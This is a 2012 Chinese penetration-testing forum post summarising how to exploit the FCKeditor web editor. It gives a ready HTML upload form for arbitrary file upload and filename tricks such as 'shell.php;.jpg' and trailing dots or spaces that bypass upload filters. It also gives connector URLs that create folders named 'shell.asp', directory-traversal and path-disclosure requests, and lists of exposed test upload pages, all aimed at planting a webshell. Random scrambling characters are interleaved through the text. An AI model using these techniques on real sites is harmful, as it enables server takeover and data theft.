中国网络渗透测试联盟

标题: FCKeditor漏洞利用总结 [打印本页]

作者: 荒村狂客    时间: 2012-9-5 20:23
标题: FCKeditor漏洞利用总结
Fckeditor漏洞利用总结

查看编辑器版本
1 f4 q7 s5 f2 {0 i3 F5 L; w! x) LFCKeditor/_whatsnew.html
0 ]! z$ |" h7 x  A6 m—————————————————————————————————————————————————————————————

2. Version 2.2 版本
  H; O, P1 X+ R! o& S. mApache+linux 环境下在上传文件后面加个.突破!测试通过。4 O3 J8 |4 {: z! b/ O, P3 b- d
—————————————————————————————————————————————————————————————

3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。! E7 v6 L1 F& F3 K+ E
<form id="frmUpload" enctype="multipart/form-data"1 r9 \! t" C/ z) ^4 u- @8 K
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
% s0 q; r/ q( G7 q+ n. B5 d9 J<input type="file" name="NewFile" size="50"><br>
8 _% T5 ]$ @+ n  M) o0 S<input id="btnUpload" type="submit" value="Upload">8 E- e, \7 D! A0 w7 o
</form>+ r: K2 [( g8 l
—————————————————————————————————————————————————————————————

4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
: t  `8 t! L, K+ N6 o! `        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。1 o; `2 I, g. V6 z
    4.1:提交shell.php+空格绕过
- b7 o* H0 P9 c3 |! J, u! s/ {! x6 r$ B不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
2 D# A6 }4 K! c, J# i* ~* ]    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。; @! ?" A4 C# I6 S  ~
—————————————————————————————————————————————————————————————

5. 突破建立文件夹2 p% m3 G% N( G% D0 k5 l6 t4 r
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=12447899756844 n* d2 l1 K. x3 M0 e& Q
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
8 J2 F8 k1 R9 X2 N# B  h6 {/ [—————————————————————————————————————————————————————————————

6. FCKeditor 中test 文件的上传地址
6 r6 S7 R4 D4 l0 PFCKeditor/editor/filemanager/browser/default/connectors/test.html
2 ?3 k3 O( f1 C6 J) }; O& U" q: uFCKeditor/editor/filemanager/upload/test.html* C+ i. r& X6 T' q$ q5 Y- z- [# ~
FCKeditor/editor/filemanager/connectors/test.html6 g. H" f& t4 g& z. y+ x% b5 l$ T9 U) l7 f
FCKeditor/editor/filemanager/connectors/uploadtest.html  r  z$ j7 A  a. V$ a
—————————————————————————————————————————————————————————————/ L$ I) @9 K4 G- z- J) t  v! t2 ^

7.常用上传地址( W: R: b) b3 I; \. {
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/2 g: b# @* E& R: z1 T4 L0 R6 R
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
- y( ?0 O* Z. r5 Z) A& [8 `FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)/ W$ c. V8 ^+ e8 G
JSP 版:
" z( Y4 o; G8 g% \+ ]FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp1 \" g5 h: m6 s2 ?  P- Q
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
( k' p4 R+ a! U( \9 v件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。; q4 [% [7 x& M8 @' V. U0 G: C
—————————————————————————————————————————————————————————————

8.其他上传地址
% `8 E5 p* I! s$ T3 Z0 {/ yFCKeditor/_samples/default.html2 P" [0 I9 v2 T8 i; }8 U
FCKeditor/_samples/asp/sample01.asp
2 g" q: r; r* ~; y3 KFCKeditor/_samples/asp/sample02.asp' M1 F5 Z! n8 d1 G+ b% @
FCKeditor/_samples/asp/sample03.asp
+ l4 F. E$ b6 q7 w# s9 IFCKeditor/_samples/asp/sample04.asp9 A( a/ ^( j$ d& k. s
一般很多站点都已删除_samples 目录,可以试试。; c6 w& ]1 ^# m- k0 T# a$ V) Q# w
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
) r  L4 R& h: P! ~8 D8 j—————————————————————————————————————————————————————————————

9.列目录漏洞也可助找上传地址# b7 w3 {, q0 u1 l
Version 2.4.1 测试通过
: L  Y* B/ D0 Y修改CurrentFolder 参数使用 ../../来进入不同的目录7 M0 K2 ^$ T7 \0 W4 P* Z9 Y
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp- R( C+ R4 B1 D4 i
根据返回的XML 信息可以查看网站所有的目录。% w/ T% B( C4 I* n2 p, `- C( k0 F
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
$ ~& a; _3 T7 U: n* L% _也可以直接浏览盘符:
: j2 V( y; V) {  ?JSP 版本:
8 Z3 k% M1 C' B" h* ]FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F% E" n1 \2 a( z5 E/ ^1 V
—————————————————————————————————————————————————————————————

10.爆路径漏洞
+ I8 w1 q' r. s1 L, S! x: yFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
& ~! v6 Y. T7 Z! E$ \: y8 s—————————————————————————————————————————————————————————————

11. FCKeditor 被动限制策略所导致的过滤不严问题
4 Y* J) }9 X! D4 k        影响版本: FCKeditor x.x <= FCKeditor v2.4.3
) j" m$ F& t1 q7 D6 a0 R4 i脆弱描述:
# h* h* y* d  ^7 M4 X5 c  h/ fFCKeditor v2.4.3 中File 类别默认拒绝上传类型:
2 P  j) e7 l) ihtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm  h, p+ G' M8 u  K
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!$ K: h) x$ G( U+ E% ]
        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。8 T( R" ~+ e/ w/ M$ K0 y
        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!


作者: admin    时间: 2012-9-8 22:43
[attach]41[/attach]




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2